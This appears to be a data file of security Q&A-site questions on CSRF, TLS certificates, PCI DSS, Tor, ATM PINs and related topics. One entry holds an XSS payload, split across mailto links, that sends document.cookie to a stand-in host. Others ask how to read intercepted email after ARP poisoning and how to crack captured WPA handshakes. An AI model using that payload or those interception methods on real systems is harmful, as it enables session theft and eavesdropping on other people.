instruction
stringlengths
24
29.9k
1) User is logged in bank.com in one tab, where everything is secured by CSRF tokens. Then he opens evil.com in another tab. 2) Javascript in evil.com might try to make a POST request to bank.com/send_money only if it knew csrf_token. 3) In order to reveal csrf_token, javascript in evil.com might try to do GET ajax ca...
I came to know the SQL truncation vulnerability that I wasn't aware of. It is my understanding that this vulnerability is based on the fact that MySQL truncates the value of an "insert query" whether the value exceeds the width of the corresponding column. The fist appearance of this vulnerability is in CVE-2008-4106 w...
This application analyzes web traffic and then beautifully displays attacks on a global map. How does it intercept web traffic so it can analyze it? Isn't web traffic private to everyone except to ISPs and powerful government agency like the NSA? How does it detect and differentiate MYSQL attacks from regular MySQL que...
I was trying to search for this, but could not find the answer anywhere - apology in advance if already answered. I have a Linux desktop installed on a thumb drive, which I keep in my pocket. This way, if I need to access my bank (from a public computer and otherwise), I boot from it so I don't need to worry about key ...
I have AirPort Extreme network card and when I try to use airmong-ng on kali linux in a virtual machine this does not work. I know I need a usb-network card if I want to make this work but if I boot kali from a cd or usb do I still need this because then I won't be sharing internet with my macbook and it saves 30 buck...
I'm part of a small office in the middle of nowhere, and we just got absorbed into a large mega corporation. Sometimes we watch porn, at the office, on company computers, using the company Internet. It makes good for a good background distraction. (I know I'm not the only one who does this so don't judge me.) No, there...
How much information is released when paying with a debit card? Is it possible for a vendor to grab your name and address from your debit card and send you things in the mail?
I want to display some very sensitive information on a web page and I want to make sure that nobody, except the user in front of the browser, is able to access this information. I'm aware that in general is it not a good idea, but some site manage to do it. For example : LastPass What are the security risk to consider?...
I'm planning to make a simple remote administration tool with the basic features that are available on all other rats in the market. However, I'm really worrying about legal issues after marketing it. Is what I'm doing a legal thing ? If not, how can I make it legal ? Any hints would be highly appreciated.
I'm doing a project about security transactions and i'm wondering if to establish a connection based on https both client and server need to have a ssl implementation installed to preform the handshake protocol. Anyone could help me out here? Cumps.
I'm building an API with both protected and public endpoints, and I'm protecting it with OAuth 2's various flows. I want this API to be open to the world - the main consumer website won't even be on the same origin as the API server. So I'm planning to implement CORS. Many texts warn about malicious third parties "send...
I access work on my personal mac via a remote desktop connection..I do this on a mac and access it via safari. My question is, can my company then see what I am browsing in Firefox while connected to the remote desktop in safari?
I have a section of my web site that I only want reachable from another portion of my web site. I know that referer spoofing is trivially easy. But, if all requests from an incorrect referrer are met with 303 redirects to an index page, is there any way for the client to determine that the referrer is the criteria on w...
I am a college student and I am getting free wifi for using the "Hostel campus" facility. To access the Internet, I have to put a proxy IP address to my browser. I have heard that they can see all the sites I visit, so if I want to visit a porn site, it could definitely get me into trouble. I tried using VPN, but it w...
I know that you can easily trigger a series of POST/GET to a target website using an iframe as I have done it in the past to manipulate session variable on my sites. My question is more about : what information could I get from another website that I load into an iframe? If I'm right, the same origin policy is supposed...
Some CSRF protection mechanisms are vulnerable to attackers who can write cookies. Others are not but incur extra complexity or computational cost. Help me understand the cost/benefit. What conditions enable attackers to write cookies for a domain?
I do have a big CA bundle certificate file and each time if i get request to add new certificate to the existing bundle i need to make sure it is not present already. How i can validate the duplicates. The alignment of the certificate within the bundle seems to be different. Example: Cert 1 MIIF7DCCBNSgAwIBAgIQbsx6pacD...
I'm attempting to check for malware, spam and any kind of injection/exploitation on a sql dump that has been provided and was wondering what kind of tools are there already in place to help with this? Edit: As suggested by an admin I should expand this question out to include the scenario I'm facing. Well it basically ...
It wouldn't be far-fetched to guesstimate that at least 50% of the web traffic can be intercepted in 2014. However, a guesstimate of active interception attacks is likely an order of magnitude lower — probably well below 0,5%, and, apparently, a lot of it is done by the governments, which could potentially have control...
N players are playing a perfect information game (the kind of game where everyone knows moves of everyone) by making moves by turn (P1, P2, ..., Pn, P1, ..., Pn, ... till the game will finish). Game has specific rules for every player (if a player makes a move against the rules - he loses automatically) and can finish ...
Other than testing different URLs separately, is there anyway to find out if a website has a wildcard sub domain?
I'm a Software Engineer, but I have no experience in security, so i'm trying to learn by doing (woot Experiential learning!). I know that the permission settings on the tmp folder are very relaxed. If I have an IP address of a server/computer can i ssh into the tmp folder without requiring the password of the server/c...
I recently uploaded images of my passport and driver's license to a Certificate Authority (CA) to apply for SSL certificates. The submission was rejected because I have added watermarks to prevent data theft. I explained to the Cert Master that the watermarks do not block any important details on my passport and driver...
Reading up on attacks against AES i have seen countless examples of why ECB is bad, and the logic behind it i can understand, but i can't get my head around how these attacks actually work in the real world. So the big example that i see getting used a lot is a session token that is encrypted with AES-ECB, and as its ...
I have REST api that is using access token which is sent either in header or as url query. I don't use cookies at all. Am I still vulnerable to CSRF attacks? I know that I would if I would use cookies since other tab can send request and cookies will be sent as well but in my case Headers/UrlParam won't be sent at all....
Quoting Wikipedia: A password with, say, 42 bits of strength calculated in this way would be as strong as a string of 42 bits chosen randomly[.] Assuming that interpretation is correct, combined with knowledge that cracking a random 256-bit number is infinitely expensive nay physically impossible, how can a passphras...
Suppose we have 2 webapps, appA and appB. They communicate via REST. Say for example, when appA updates let's say, a file, it should inform appB via REST and so on. I was thinking, how do I make this secure? I mean, what if an ordinary user got the api url and started sending requests? I was looking around the interne...
I have an Actiontec V1000H router/modem. I have been having virus issues recently so I done a factory reset on all but 1 of the computers on the network. I went to add in a Port Forwarding exception so my son can run a Minecraft server, and the port forwarding rules list had about 50 entries on there. I know in the ...
<a href='mailto:</a><script>/*'></a><script>/*</a>: <br> <hr> <a href='mailto:*/location.href=/*'>*/location.href=/*</a>: <br> <hr> <a href='mailto:*/"http://127.0.0.1/"/*'>*/"http://127.0.0.1/"/*</a>: <br> <hr> <a href='mailto:*/+document.cookie;/*'>*/+document.cookie;/*</a>: <br> <hr> <a href='mailto:*/</sc...
As per an honourable mention in an answer for « Why self-signed https is less trustworthy than unencrypted http? », it appears that there are already two post-Snowden drafts that have to do with the exact topic of opportunistic encryption of http traffic: Opportunistic Encryption for HTTP URIs https://datatracker.ietf...
I am trying to generate a certificate through OpenSSL which has the following line X509v3 Certificate Policies: Policy: X509v3 Any Policy But I end up getting X509v3 Certificate Policies: Policy: itu-t What change do I need in my openssl.cnf to get "X509v3 Any Policy"? I don't see any itu-t reference in my ...
If you look at this subCA Certificate from Verisign http://www.tbs-certificats.com/FAQ/en/495.html?p=en/495.html It has the following field 1.3.6.1.5.5.7.1.12: 0_.].[0Y0W0U..image/gif0!0.0...+..............k...j.H.,{..0%.#http://logo.verisign.com/vslogo.gif How can I create a cert using openssl commandline which h...
When I run the openssl command openssl x509 -noout -text -in certname on different certs, on some I get a serial number which looks like this. Serial Number: 256 (0x100) On others, I get one which looks like this Serial Number: 41:d7:4b:97:ae:4f:3e:d2:5b:85:06:99:51:a7:b0:62 The certificates I create using ...
First of all, I should mention that I read this thread and it was useful in my case, but I need more comments and reviews about this authentication method.USB Token authentication which I want to talk is : 1- User logon to server with username and password 2- server requests for some USB credentials like serial number,...
I have a webserver which is asking for client certificate for mutual authentication. I have what I think is the right certificate loaded into my client browser. However, the browser is not able to find the certificate & is giving the error "This page can’t be displayed" when I visit the page from IE (it also fails in c...
I just watched an interesting talk from Glen Glenn Wilkinson titled: The Machines that Betrayed their Masters. He said that your phone is constantly broadcasting all the SSIDs it has ever connected to. How would an attacker be able to capture these wifi requests?
My task is to convert .p7b to .pfx. It would be great, if you could provide me some pointers. Below are the steps I used to generate the .p7b file: I generated a .jks (java keystore) file using below command C:\Program Files\Java\jdk1.6.0_33\bin>keytool -genkey -alias serverkey -keyalg RSA -keystore C:\server\producti...
I've dumped a call between two lync clients and saw that there were some UDP packets that look like this: Server -> Client 1132 14.495362000 <serverip> <clientip> STUN 146 Binding Request user: ????:???? Client -> Server: 1133 14.499136000 <clientip> <serverip> STUN 130 Binding Success Response X...
I am watching a training video called "Creating Secure J2EE Code". The video makes this statement: Perform all validation in a secure context on the server. Do not rely on client-side validation as a security mechanism. Validate all application input, including user input, API return values, environment variable...
Windows servers in the DMZ need to communicate with the Active Directory. I do not like that the servers will have direct communication with my Active Directory, so I consider installing a Read-Only Domain Controller that replicate the real one. It seems like there are security benefits with RODC only when it is not ph...
I really don't know much about HTTPS. But I always hear people saying that it is 100% safe and bullet proof. My question is: Is that true or even possible. I mean there are lots of tools that allow you to read the internet traffic of all other devices that are in the same network as you. So how do certificates and en...
We are going through the PCI process at the moment and because v2 goes out of date on December 2014, I opted to use PCI v3. Because with Stripe you put the form inside your application and post to them, does that mean I need to go down PCI SAQ A-EP ? I am a little confused and the only way to be PCI SAQ A is to use an...
I'm a little unclear on the subject of opportunistic encryption of the HTTP:// address scheme in HTTP/2. According to the bug report, it looks like it's kinda optional, and an afterthought: https://github.com/http2/http2-spec/issues/315 There's also a FAQ entry: http://http2.github.io/faq/#does-http2-require-encryption...
I'm going to send my timestamp to server and server will check if it is in a given interval. What if My mobile clock is not adjusted (say it gives 2:00 pm while now it is 2:00 am). now I lost the server. How should I handle such a situation.
I'm 20 years old and have no knowledge in the world of information security! I'm currently studying engineering and I've recently found what work I want to do (pentesting or a career in fields like this). So reading various sites and forums, I've decided to start to study the basics of the communication service TCP/IP....
My company recently had a security assessment done on our website and we had a XSS vulnerability reported. Below are the details of the reported vulnerability: If a user hits a URL like the one below: mysite.com/Secure/Account/Addresses.aspx/%32%35 You can find the following when the page is rendered: <script src="/S...
Here is a recording of Glenn Mulcaire using social engineering to reset the PINs to voice mailboxes to which he did not have authorised access. (At least, that's my understanding.) He appears to say to the operator, "Do you want the DDNs on these, or - you should have them anyway, shouldn't you?" The operator replies, ...
Often, users will install additional package repositories to their Linux distributions to be able to follow "bleeding-edge" versions of software that hasn't been/will never be backported to their distribution version. Say that packageA provided by repoA depends on libssl. Originally, no problems found; the only possibl...
I am wondering what happens when I set HDD password in my laptop (Samsung with ssd). I mean a given case. I have been having working system without any password. Then one day I decide to set up HDD password in BIOS. Does whole disk in that very moment become encrypted ? I did not notice any moment waiting etc... I un...
I am using my mouse to interact with a Java applet in a browser. Clearly the party that owns the Java applet can record where I click inside the applet. What I'm wondering about now is whether it is possible for that party to also record the movements of my cursor (i.e. the paths I take when I move my cursor around) wi...
I've been assigned a web project that deals with shipping goods between two parties. I am unsure what a secure database scheme (if any) would be for storing the recipient's postal address and whether or not there are data privacy laws in regards to how these addresses should be stored? Both the recipient and the sender...
I have a Apache Cordova hybrid mobile app that needs to authenticate users, but we don't want to prompt for credentials every time the app is used. Some options came to my mind: Store the password encrypted using public key cryptography, so only the server can decrypt it and perform authentication. However, I understa...
I have seen from: http://www.scientificamerican.com/article/tracking-cyber-hackers/ "The source field can be changed [spoofed] by an attacker to make it seem like it's coming from someplace it's not" From what I know, IP spoofing only allows one-way communication, as server replies the spoofed address, and therefore ...
When someone is sniffing data at a Tor exit node, how much information can be obtained? The IP can be revealed, but can they see everything you do? Does it make a difference if it is encrypted using https, or if it is a hidden service link?
I read these questions which had great information: How can I keep my identity anonymous as a website owner/administrator? and How much can I trust Tor?, however I wonder if this is too extreme for my situation. What I mean by this is I am not in a life or death scenario, however I want to keep my artist name anonymo...
The Certificates that are used to sign Android applications are generated by the user and not checked or signed by any authority. They are RSA or DSA Certificates and as i read on crypt.stackexchange.com it should be nearly impossible to create two identical RSA certificates. But the question still is open: could it be...
Hackers inserted a specialized device which was connected to the notebook into the card reader slot on the ATM and installed malicious software. 100 thousand US dollars were stolen from at least seven ATM in China. We actively discuss this topic in Russia. http://www.plusworld.ru/daily/ustroystvo-dlya-zarajeniya-banko...
Background A discussion about not sourcing JavaScript files from other websites (http://www.reddit.com/r/netsec/comments/29hfhz/please_dont_use_externally_hosted_javascript/) got me thinking. Performance and cost reasons are mentioned that might make sense to have some scripts hosted by 3rd parties. Question Is there a...
The other day I tried to withdraw some cash from an ATM in a hurry and punched in a wrong pin. I realized that only when I hit the "ok" button, but to my surprise the ATM did not complain. It showed the usual menu, asking me to select an operation. It's only when I selected withdrawal I was prompted that the pin is inc...
To successfully defend the BIOS from malicious rootkit installation or other malware that writes itself inside BIOS I wonder if these ideas are possible or even done yet: Can you program the BIOS itself in a way that it only accepts data to be written to the BIOS that has been signed with the BIOS-Manufacture's PGP-Ke...
I use Cain and Abbel and I want to see the email content. If you help me becouse I don`t know to see the content. I see the email in the section password but I need to see the email content . I can simply with Wireshark? Thank for what you said,I understood and I made ARP Poisoning.So I see at Passwords->HTTP two URLs:...
At the moment I have a strange problem: I captured a pcap-file, and pyrit and aircrack tell me that it contains a valid handshake. But cowpatty complains about not having a full handshake, thus making it unable to crack the pcap file. Why? Is there a solution?
I am currently developing an auction desktop application. At the moment I am storing the buyer and vendor information in 2 separate tables within a MySQL Database. Currently the data for these tables is unencrypted (whilst in development) but I am planning on using PBKDF2 to encrypt these with a salt that will be store...
We are planning to implement the time-stamping service (RFC 3161) using OpenTSA and we wanted to know: Does OpenTSA support PKCS #11 (Cryptoki) to talk to HSMs? BTW: I did not find documentation or much information on OpenTSA. It would be really helpful if you could comment on the support of PCKS #11 by OpenTSA.
Why do ATMs accept any PIN? states that the ATM does not know my pin and the pin is not on the card as well. My bank has this system: It works in 5 stages: I enter my debit card number on the website; The website gives me an 8 digit code to enter on the machine; I insert my card into the machine, press the M1 button ...
As part of an automated test suite I need to run a lot of gpg --encrypt and gpg --decrypt processes. In order to make each invocation of gpg --encrypt and gpg --decrypt faster, I would like to use a very fast public key algorithm. I understand that the fastest ciphers are also those providing the weakest security, espe...
I have a new piece of malware that isn't detected by current anti-virus vendors. How do I report it to them? I want to do a good turn and help protect as many people as possible. What is the best and easiest way to get it to as many anti-virus vendors as possible, to help them detect it? Is there a list of sites wh...
Let's say that our first firewall has some vulnerability and a malicious person is able to exploit it. If there's a second firewall after it, he/she should be able to stop the attack, right? Also, what will be the side-effects? I mean, would this slow the traffic or not? What are other possible effects like this one? H...
I'm trying to find a way to password protect an Excel file (.xlsm) beyond the built-in password encryption options. Ideally: Enter the password File works for a week(/other period of time) After a week, file requires password again The file is used consistently, so I don't think that encrypting a .zip or similar woul...
How are top secret networks hidden? What are the techniques to make a network hidden from the public?
For same chunk of data, which one is faster? Public key encryption or digital signature? Confidentiality is not important. I am trying to achieve non-repudiation for the communication. Thanks!
I'm currently going through a course on software security. I've recently been introduced to the idea of password salting, where a random value is concatenated to a password prior to being hashed and stored. I believe I understand the operation correctly, but I don't understand how this makes the process itself any more...
Always wondered about this. I had a friend tell me it's to make sure your information can't be stolen as easily on the credit card, but I will admit I am a bit skeptical of his claims. At most gas pumps (as long as you dont pay with the attendant), the gas station usually requires you to insert your card, then just as ...
I've developed my own custom authorization grant. The steps I am undertaking are the following: I get the facebook authorization code from the mobile device (this is an an API for mobile devices) I exchange the auth code for a Facebook access token using curl. I save access token in the database and associate it with ...
I'm trying to understand the validation logic that would occur in the following hypothetical scenario An unpatched XP user who trusts a list of root CAs. Those CAs in particular have been renewed (using a different public key) but have only been updated in newer versions of Windows A Windows 8.1 client who has the ne...
I've been reading "Hacking: The Art of Exploitation 2nd Ed." and I hit a part that's not explained clearly enough for me. In the section "Writing to an Arbitrary Address" Jon Erickson creates a vulnerable little c program (called fmt_vuln) that passes format-paramaters (such as %x) as the first argument to printf. Doin...
I know of at least two pages that I would have just assumed were a phishing scheme if I didn't know any better. Serverfault.com is a stack exchange site on a different domain, however if you click to sign in with stack exchange, it does not redirect you, it just prompts you for user/pass. Steam community does the same ...
I've been asked to generate a public key with PuTTY key generator. The default is 2048 bits, should I add additional bits to the generated key? Or is it unnecessary?
I'd like to wipe a stack of drives (spinning and SSD) securely. I'm familiar with the ATA Secure Erase (SE) command via hdparm, but I'm not sure if I should use the Security Erase (SE+) command instead. There is some evidence that these commands don't work on all drives. How can I ensure the drive is really wiped, incl...
Suppose I have both network based IDS and host based IDS installed in my environment, will I miss any security attacks if I don't correlate the information from these sources? If so, what are they? It seems that one of these systems should be able to catch any attack whenever they happen, but not sure if I am right abo...
I am working now on Windows 7 and I want to see if I can sniff an email content on it with Wireshark. So all right with http but with https I can't at this moment and I don't understand how. You think I need Kali Linux? Or I need something to do to realize it on Windows
From my understanding, the Java keystore contains certificate information, but this information is public (i.e. other machine certificates which you want the local machine to trust). Is there something else besides this that I am missing? What would be the risk in protecting the keystore with a weak password? Update I ...
When dynamic IP addresses are assigned to users, how do ISPs store the logs? Do they just store the time and address of the websites visited or do they store the whole URL like we see in our browsers? I've tried searching for this information but all that I get is "yes they store logs of everything you do". But I want ...
How does it work? For example, could OpenDNS be tracking everything (source ip + requested url) and then selling it to who have the necessary information to correlate the ip addresses with people profiles (i.e. BigData Companies, DataBrokers, Social Networks, etc). I'm pretty sure that ISPs could be doing that. They di...
Recently I conducted a penetration testing where I used the following text as authorization: Penetration testing authorization During a penetration testing is possible that: The performance of servers and networks is decreased. Lost of availability of some services. Access to confidential data. Modification of web si...
So a couple years ago when I was learning basic back-end web development, I found a tutorial for creating a basic log in system. I haven't done much modification to the code since, but I have the opportunity now to use a more robust system if I need to. So here's the code I'm currently using: $pepper = "String of...
I have just realized, that my web application is sending unencrypted passwords from login form. It's just like that -- I've analysed, that string sent by user from login form is hashed with MD5 (which is wrong itself -- but that's a different story) on server-side and compared after that (passwords in DB are hashed). I...
I see this notice in the TextSecure README: The U.S. Government Department of Commerce, Bureau of Industry and Security (BIS), has classified this software as Export Commodity Control Number (ECCN) 5D002.C.1, which includes information security software using or performing cryptographic functions with asymmetric alg...
I want to make a secure network because of government surveillance. Is there a way I can configure or build some type of custom hardware to be able to detect and to access the network, but only using that hardware the network becomes visible. Is it possible to make the network access be controlled using custom nic fo...
I have written an Android game. Now, I want to connect the marks of the players. The code below is the client side program, which send their names, countries and marks to the server. Basically, I use ':' to separate the information. However, hackers can know my server ip and port by decompiling .apk file. Then, they ca...
If I insist on digitally signing all outgoing packets from my computer, would it affect my browsing experience? I mean if a website doesn't expect me to sign my packets, and still I sign them, can I access that website? As the packet data is in plain text and only its hash is encrypted and attached with the data, I thi...
I need to evaluate the security of a cryptographic library. In particular I am targeting a part of the library where I believe the private key is exposed for a limited time in the RAM. Any ideas or pointers on how to go about checking the RAM for this key. I was thinking about dumping memory after some specific user in...
I've been given a requirement of providing a client certificate to authenticate between two application's web services. The other application (that I don't host) is requiring an SSL client certificate that is signed by a 3rd party CA (ie. Symantic, RapidSSL, etc.) and not be self-signed. After going through most of the...
I recently applied for a second credit card for my partner to use on my account and was surprised when her preset PIN number turned out to be the same as mine. Coming from a development background I assumed PINS were hashed somehow. It seems very unlikely this is a coincidence, why are credit card PINs not stored hashe...
I am working with alarm signalling systems at the moment, and they communicate with 2400bps v22bis modems. I would like to be able to intercept the traffic on the phone line as a proof of concept. The only device/software I can find to do this is the 3am Linescope. This appears to be a phone line to audio adapter, conn...
I'm building a password reset system at the moment and I've come across a dilema. Currently we have a system which creates a long md5 has (16 characters) and emails a link to a customer which they then click on and can reset their password. However now we want to step away from putting links into email and make custome...
I'm currently conducting research regarding MySQL server remote authentication. I've captured unencrypted, uncompressed authentication packets between the client and the server where the username is in plain text but the password is hashed using two salts which are also visible in the "server greeting" packet sent to t...
Is there a programmatic way to check if a given mobile application executable is malicious through some sort of lookup service? I have used Virustotal for desktop malware, does it work for mobile malware as well? Are there other standards for this sort of thing?
If the iPhone is actually off and not in sleep mode, how can it be remotely turned on if no software is running and network communications aren't even activated until the device boots?
I need to store the payment info of a transaction. We have a script that reads which transactions haven't yet been sent to our ERP (the business management software), to then send it. This script runs every several minutes. According to PCI DSS, I can store info such as credit card number, cardholder name and expiratio...